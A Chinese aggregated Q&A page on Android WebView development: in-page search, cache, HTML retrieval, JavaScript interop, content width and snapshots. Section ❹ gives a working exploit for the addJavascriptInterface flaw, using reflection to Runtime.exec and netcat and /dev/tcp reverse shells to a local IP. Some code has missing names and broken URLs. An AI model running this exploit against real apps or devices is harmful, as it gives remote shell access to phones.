當前位置:首頁 » 安卓系統 » android獲取webview內容

android獲取webview內容

發布時間: 2022-06-13 16:27:13

❶ Android : 如何在WebView顯示的頁面中查找內容

它主要被設計用來顯示html文件。正因為如此,所以在應用的開發過程中我們可以通過將需要顯示的內容整理成html格式的String從而輕松實現各種排版的效果。
雖然WebView組件封裝了許多功能為應用的開發提供了便利,但是由於其開放的方法有限,有時候這種便利往往會給開發者造成很大的約束,例如開發者不能方便的控制WebView的顯示起始行,不能得到相關的行信息等。所以說WebView方便大眾的時候也難免會存在許多不足之處。
寡人在開發應用的過程中就遇到了一個難題:將html中指定的內容顯示到當前屏幕中。怎麼解決這個問題呢?寡人一遍遍地研究WebView開放的方法,始終沒有得到很好的方案。白道不行,咱就來黑道,正史不行,咱就搜集野史,所謂條條大路通羅馬嘛!於是寡人就到處搜尋WebView的源代碼,希望通過非常規的辦法(調用WebView類庫中未開放的方法)有所起色。但是非常困難。並且顯而易見,即使找到了,也是不安全的調用。這就像上海的樓倒倒,說不定什麼時候就坍為平地。此路不但坎坷,前途未卜,而且有可能是斷頭路。
蒼天啊!寡人雖然貴為天子但是有時候也很無奈,怎麼辦?寡人再次無奈地又審視了一下WebView開放的那幾個可憐的方法。最後想了想,它們中最有希望救駕的只有findAll和findNext了。於是寡人想,如果能保證需要定位的內容的唯一性,通過搜尋需要定位的內容,不就把該內容顯示到當前屏幕了嗎?於是寡人大喜,打算著手一試,成功後舉國歡慶。
但是,寡人一看幫助文檔,這兩個方法的說明為空,於是心中隱隱約約有一絲不安。果不其然,程序中一試,沒有任何效果。寡人只好去咨詢中西兩位輔政大臣網路和谷歌了。終於有了答案。下面就下詔天下,各位愛卿聽仔細了:
先看輔政大臣給朕的說法:
Find is not a fully supported feature in webview.
However, try calling view.setFindIsUp(true) to get the match to draw; This function is hidden and subject to change, so your app may break in a future release.WebView對搜尋查找功能不能充分地支持。然而,我們可以嘗試著調用
setFindIsUp
方法來得到查詢的結果,並且把它顯示在當前屏幕(畫出來)。這個方法被隱藏並且容易發生變化,所以你的應用或許在未來的版本中不能正常地使用它。
由此可見,要想findAll和findNext起作用,必須調用
setFindIsUp
方法,但是此方法是內部函數,因此安全性不能保證,或許在未來某個版本就被和諧了。
盡管如此,這也是目前唯一較穩妥的一種解決方案。以後版本如果不能正常使用,說不定WebView會有更好的支持方法呢!Example :假設WebView已經裝載了html內容,下面是搜尋部分的程序:
WebView webView = (WebView)findViewById(R.id.webView) ;
webView.findAll(a) ;try{Method m = WebView.class.getMethod(setFindIsUp, Boolean.TYPE) ;
m.invoke(webView, true) ;
}catch(Throwable ignored){}findNext的使用同理,這里不再累述。總結:lWebView的findAll & findNext
方法必須配合類內部方法
setFindIsUp使用.lfindAll效果是用空心框反白所有匹配的內容,用實心框反白第一個搜尋到的匹配內容,並且將其顯示到當前屏幕。l
如果需要取消搜尋的狀態,可以調用

❷ android 怎麼獲取webview中的圖片資源bitmap

載入html頁面時,會在/data/data/應用package目錄下生成database與cache兩個文件夾
cache裡面會保存webview中的圖片文件,讀的話需要bitmap解析流就可以了。

❸ Android 中 Webview 怎麼獲取打開的網頁的 HTML 代碼

WebView(網路視圖)能載入顯示網頁,可以將其視為一個瀏覽器。它使用了WebKit渲染引擎載入顯示網頁,實現WebView有以下兩種不同的方法:
第一種方法的步驟:
1.在要Activity中實例化WebView組件:WebView webView = new WebView(this);
2.調用WebView的loadUrl()方法,設置WevView要顯示的網頁:
互聯網用:webView.loadUrl("http://網址");
本地文件用:webView.loadUrl("file:///android_asset/XX.html"); 本地文件存放在:assets 文件中
3.調用Activity的setContentView( )方法來顯示網頁視圖
4.用WebView點鏈接看了很多頁以後為了讓WebView支持回退功能,需要覆蓋覆蓋Activity類的onKeyDown()方法,如果不做任何處理,點擊系統回退剪鍵,整個瀏覽器會調用finish()而結束自身,而不是回退到上一頁面
5.需要在AndroidManifest.xml文件中添加許可權,否則會出現Web page not available錯誤。
<uses-permission android:name="android.permission.INTERNET" />

第二種方法的步驟:
1、在布局文件中聲明WebView
2、在Activity中實例化WebView
3、調用WebView的loadUrl( )方法,設置WevView要顯示的網頁
4、為了讓WebView能夠響應超鏈接功能,調用setWebViewClient( )方法,設置 WebView視圖
5、用WebView點鏈接看了很多頁以後為了讓WebView支持回退功能,需要覆蓋覆蓋Activity類的onKeyDown()方法,如果不做任何處理,點擊系統回退剪鍵,整個瀏覽器會調用finish()而結束自身,而不是回退到上一頁面
6、需要在AndroidManifest.xml文件中添加許可權,否則出現Web page not available錯誤。
<uses-permission android:name="android.permission.INTERNET"/>

❹ 如何 利用 android webview 漏洞 獲取

在android的sdk中封裝了webView控制項。這個控制項主要用開控制的網頁瀏覽。在程序中裝載webView控制項,可以設置屬性(顏色,字體等)。類似PC下directUI的功能。在webView 下有一個非常特殊的介面函數addjavascriptInterface。能實現本地java和js的交互。利用addJavascriptInterface這個介面函數可實現穿透webkit控制android 本機。

0x01 檢測利用
一般使用html 來設計應用頁面的幾乎不可避免的使用到addJavascriptInterface,包含不限於android瀏覽器。
在android 代碼程序一般是這樣使用:


settings.setJavaScriptEnabled(true);
settings.(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");


這里可以用
apk->zip->dex->dex2jar->jdgui->java

代碼來查找。
但建議用apktool 反編譯smali(畢竟不是所有apk都能反編譯成java代碼)
在smali代碼中 則是類似下列的代碼:
const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/mole/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

當檢測到存在上述代碼時,可以進行進一步驗證利用:
在11年,已經有人利用addJavascriptInterface進行文件讀寫,並放出簡單的poc,到12年出現了簡單的執行代碼的exp。利用的是反射回調java類的內置靜態變數。如下列的利用代碼;
<script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}

</script>

利用java的exec執行linux的shell命令。
0x02 遠程獲取shell
套用yuange的一句話:Poc遠遠小於exp的價值。
利用addJavascriptInterface實現shell.
Android內部的armlinux 是沒有busybox 的,一些常規彈shell的方法被限制。
使用了java的反彈shell方法
//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);

在Nexus One 4.3的android虛擬機 並未成功彈出shell.
後發現android中可執行 nc命令 (閹割版的不帶-e的nc)
這里用了nc的另外一種彈shell的方法完成
Exp 內容:


<script>
function execute(cmdArgs)
{
return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
alert("ok3");
</script>


// 注 xxx 保護隱私用xx代指。

❺ android webview如何獲取網頁輸出的提示信息

1.android中利用webview調用網頁上的js代碼。
Android 中可以通過webview來實現和js的交互,在程序中調用js代碼,只需要將webview控制項的支持js的屬性設置為true,,然後通過loadUrl就可以直接進行調用,如下所示:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.loadUrl("javascript:test()");
2. 網頁上調用android中java代碼的方法
在網頁中調用java代碼,需要在webview控制項中添加javascriptInterface。如下所示:
mWebView.addJavascriptInterface(new Object() {
public void clickOnAndroid() {
mHandler.post(new Runnable() {
public void run() {
Toast.makeText(Test.this, "測試調用java", Toast.LENGTH_LONG).show();
}
});
}
}, "demo");
在網頁中,只需要像調用js方法一樣,進行調用就可以
<div id='b'><a onclick="window.demo.clickOnAndroid()">b.c</a></div>
3. Java代碼調用js並傳參
首先需要帶參數的js函數,如function test(str),然後只需在調用js時傳入參數即可,如下所示:
mWebView.loadUrl("javascript:test('aa')");
4.Js中調用java函數並傳參
首先一樣需要帶參數的函數形式,但需注意此處的參數需要final類型,即得到以後不可修改,如果需要修改其中的值,可以先設置中間變數,然後進行修改。如下所示:
mWebView.addJavascriptInterface(new Object() {
public void clickOnAndroid(final int i) {
mHandler.post(new Runnable() {
public void run() {
int j = i;
j++;
Toast.makeText(Test.this, "測試調用java" + String.valueOf(j), Toast.LENGTH_LONG).show();
}
});
}
}, "demo");
然後在html頁面中,利用如下代碼<div id='b'><a onclick="window.demo.clickOnAndroid(2)">b.c</a></div>,
即可實現調用

❻ android 怎樣獲取webview的緩存

請求的url記錄是保存在webviewCache.db,而url的內容是保存在webviewCache文件夾下.

為了便於理解,接下來模擬一個案例,定義一個html文件,在裡面顯示一張圖片,用WebView載入出來,然後再試著從緩存里把這張圖片讀取出來並顯示。

第一步:新建一個Android工程命名為WebViewCache.目錄結構如下:

第二步:在assets目錄下新建一個html文件,命名為index.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>WebViewCacheDemo</title>

<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="this is my page">
<meta http-equiv="content-type" content="text/html; charset=UTF-8">

</head>

<body>
<img src="http://img04.taobaocdn.com/imgextra/i4/608825099/T2nGXBXXpaXXXXXXXX_!!608825099.jpg_310x310.jpg"/>
</body>
</html>

第三步:修改main.xml布局文件,一個WebView控制項一個Button(點擊載入緩存圖片用),代碼如下:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical" android:layout_width="fill_parent"
android:layout_height="fill_parent">
<WebView android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:id="@+id/webView"/>
<Button android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
android:text="從緩存讀取圖片"
android:id="@+id/button"/>
</LinearLayout>

第四步:修改主核心程序WebViewCacheDemo.java,這里我只載入了index.html文件,按鈕事件暫時沒寫,代碼如下:

package com.ljq.activity;

import java.io.File;
import java.io.FileInputStream;

import android.app.Activity;
import android.app.Dialog;
import android.app.AlertDialog.Builder;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.view.View;
import android.webkit.WebView;
import android.widget.Button;
import android.widget.ImageView;

public class WebViewActivity extends Activity {
private WebView webView;
private static final String url="file:///android_asset/index.html";

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);

webView=(WebView)findViewById(R.id.webView);
webView.loadUrl(url);
}
}

第五步:在AndroidMainifest.xml文件中加訪問網路的許可權:
<uses-permission android:name="android.permission.INTERNET" />

❼ Android開發中怎樣獲取WebView的內容寬度高度

The extensive Android SDK allows you to do many great things with particular views like the WebView for displaying webpages on Android powered devices
Android SDK 的擴展通過使用特定的view允許你做許多事情比如WebView用來在Android手機上展示網頁
As of lately while I was experimenting with the Android SDK I was using a WebView in one of my activities
最近我在體驗Android SDK的時候在一個Activity中用到了WebView
From that particular WebView I needed to know the ContentHeight but also the ContentWidth
從WebView我不但想要知道ContentHeight還想知道ContentWidth
Now getting the contentHeight is easy like so:
現在的情況是獲取contentHeight很easy如下
webviewgetContentHeight();
Unfortunately getting the contentWidth from a WebView is rather more difficult since there is not a simple method like:
不幸的是從一個WebView獲取contentWidth是相當困難因為SDK中沒有一個像這樣的方法
// THIS METHOD DOES NOT EXIST!
webviewgetContentWidth();
There are ways to get the contentWidth of the rendered HTML page and that is through Javascript If Javascript can get it for you then you can also have them in your Java code within your Android App
當然是有方法獲取contentWidth的就是通過Javascript來獲取如果你能夠支持Javascript那麼你就可以在你的Android 程序中使用java代碼來獲取寬度
By using a JavascriptInterface with your WebView you can let Javascript communicate with your Android App Java code by invoking methods on a registered object that you can embed using the JavascriptInterface
通過在你的WebView中使用JavascriptInterface通過調用你注冊的JavascriptInterface方法可以讓Javascript和你的Android程序的java代碼相互連通
So how does this work?
怎麼做呢?
For a quick example I created a simple Activity displaying a webview that loads a webpage wich displays a log message and a Toast message with the contentWidth wich was determined using Javascript Note that this happens AFTER the page was finished loading because before the page is finished loading the width might not be fully rendered Also keep in mind that if there is content loaded asynchronously that it doesnt affect widths (most likely only heights will be affected as the width is almost always fully declared in CSS files unless you have a % width webpage)
搭建一個快速的例子創建一個簡單的展示webView的Activity一個LogCat消息一個Toast消息用來顯示我們通過 Javascript獲取的寬度注意這些會在網頁完全載入之後顯示因為在網頁載入完成之前寬度可能不能夠正確的獲取到同時也要注意到如果是異 步載入這並不影響寬度(最多高度會受影響因為寬度總是在CSS文件中做了完全的定義除非在網頁中你用了%寬度)
Below is the code of the Activity Mainjava:
下面的代碼是Activity的代碼
package ;
import androidappActivity;
import androidosBundle;
import androitilLog;
import androidwebkitWebView;
import androidwebkitWebViewClient;
import androidwidgetToast;
publicclass Main extends Activity {
privatefinalstatic String LOG_TAG = "WebViewContentWidth";
privatefinal Activity activity = this;
privatestaticint webviewContentWidth = ;
privatestatic WebView webview;

/** Called when the activity is first created */
@Override
publicvoid onCreate(Bundle savedInstanceState) {
superonCreate(savedInstanceState);
setContentView(Rlayoutmain);
webview = (WebView) findViewById(Ridwebview);
webviewgetSettings()setJavaScriptEnabled(true);
webviewsetSaveEnabled(true);
webviewaddJavascriptInterface(new JavaScriptInterface() "HTMLOUT");
webviewsetWebViewClient(new WebViewClient() {
@Override
publicvoid onPageFinished(WebView view String url) {
webviewloadUrl("javascript:windowHTMLOUTgetContentWidth(documentgetElementsByTagName(html)[]scrollWidth);");
}
});
webviewloadUrl(";);
}

class JavaScriptInterface {
publicvoid getContentWidth(String value) {
if (value != null) {
webviewContentWidth = IntegerparseInt(value);
Logd(LOG_TAG "Result from javascript: " + webviewContentWidth);
ToastmakeText( activity
"ContentWidth of webpage is: " +
webviewContentWidth +
"px" ToastLENGTH_SHORT)show();
}
}
}
}
Below is the XML layout used with the Activity wich only contains a simple WebView:
下面是Activity的Layout主要就是一個簡單的WebView
<?xml version="" encoding="utf"?>
<LinearLayout
xmlns:android=";
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<WebView android:id="@+id/webview"
android:layout_width="fill_parent"
android:layout_height="fill_parent" />
</LinearLayout>
AndroidManifestxml layout:
AndroidManifestxml代碼
<?xml version="" encoding="utf"?>
<manifest
xmlns:android=";
package=""
android:versionCode="" android:versionName="">
<application android:icon="@drawable/icon"
android:label="@string/app_name">
<activity android:name="Main"
android:label="@string/app_name">
<intentfilter>
<action android:name="androidintentactionMAIN" />
<category
android:name="androidintentcategoryLAUNCHER" />
</intentfilter>
</activity>
</application>
<usessdk android:minSdkVersion="" />
<usespermission android:name="androidpermissionINTERNET" />
</manifest>
You can also download the full source of Android Application WebViewContentWidth!

❽ android 怎麼獲取整個webview 快照

這個方法只截取屏幕中顯示出來部分的webView畫面,未顯示的部分不會被截取。

/**
*截取webView可視區域的截圖
*@paramwebView前提:WebView要設置webView.setDrawingCacheEnabled(true);
*@return
*/
(WebViewwebView){
Bitmapbmp=webView.getDrawingCache();
returnbmp;
}

這個看好與上一個是不同的,他是截取webView的整個頁面,未顯示的也會被截取。

/**
*截取webView快照(webView載入的整個內容的大小)
*@paramwebView
*@return
*/
privateBitmapcaptureWebView(WebViewwebView){
PicturesnapShot=webView.capturePicture();
Bitmapbmp=Bitmap.createBitmap(snapShot.getWidth(),snapShot.getHeight(),Bitmap.Config.ARGB_8888);
Canvascanvas=newCanvas(bmp);
snapShot.draw(canvas);
returnbmp;
}

❾ Android系統 WebView是什麼有什麼用

現在越來越多的APP都內置了Web網頁去載入視圖,也就是我們常說的Hybrid APP混合應用,市場上很多平台都是這樣做的,比如我們經常使用的淘寶、京東等電商平台。這些是如何實現的呢?在我們Android中有一個WebView組件,它就可以實現此類功能。它是Android中的原生UI控制項,主要用於在APP應用中方便地訪問遠程網頁或本地HTML資源,同時WebView也在Android中充當Java代碼和JS代碼之間交互的橋梁,實際上也可以將WebView看做一個功能最小化的瀏覽器。下面我們一起來看看WebView的一些常用的使用方法。

WebView是Android系統提供的一個能顯示網頁的系統控制項,它是一個特殊的View,同時也是一個ViewGroup,可以有很多其他子View。在Android 4.4以下(不包含4.4)系統WebView底層實現是採用WebKit內核,而在Android 4.4及其以上Google採用了Chromium內核作為系統WebView的底層內核支持。在這一變化中Android提供的WebView相關API並沒有發生較大變化,在4.4上也兼容低版本的API並且引進了少部分API。這里簡單介紹下基於Chromium的WebView和基於WebKit的WebView之間的差異,基於Chromium的Webview提供了更廣的HTML5、CSS3、JavaScript支持,在Android系統版本5.0上基於Chromium 37,WebView提供了絕大多數的HTML5特性支持,除此之外Chromium也支持遠程調試(Chrome DevTools)。WebKit JavaScript引起採用WebCore JavaScript在Android 4.4上換成了V8能直接提升JavaScript性能。

二、作用
1、顯示和渲染Web頁面
2、使用html文件(網路上或本地assets中)作為布局
3、可與JavaScript交互調用
註: WebView控制項功能強大,除了具有一般View的屬性和設置外,還可以對Url請求、頁面載入、渲染、頁面交互進行強大的處理。

❿ android中使用webview怎麼獲取頁面元素

webview裡面的,其實是html頁面,獲取頁面元素的話,可以使用DOM或者JQuery

熱點內容
海上傳奇南昌 發布:2025-05-18 01:40:31 瀏覽:130
php怎麼訪問地址 發布:2025-05-18 01:29:43 瀏覽:320
fbe加密 發布:2025-05-18 01:16:34 瀏覽:250
求中點編程 發布:2025-05-18 01:03:14 瀏覽:840
安卓pay是什麼 發布:2025-05-18 01:02:27 瀏覽:747
免費手游掛機腳本 發布:2025-05-18 00:55:43 瀏覽:354
sd卡手機存儲系統存儲 發布:2025-05-18 00:55:28 瀏覽:637
pythonlistintstr 發布:2025-05-18 00:48:18 瀏覽:604
輕應用緩存 發布:2025-05-18 00:31:02 瀏覽:252
鳥存儲空氣 發布:2025-05-18 00:20:24 瀏覽:201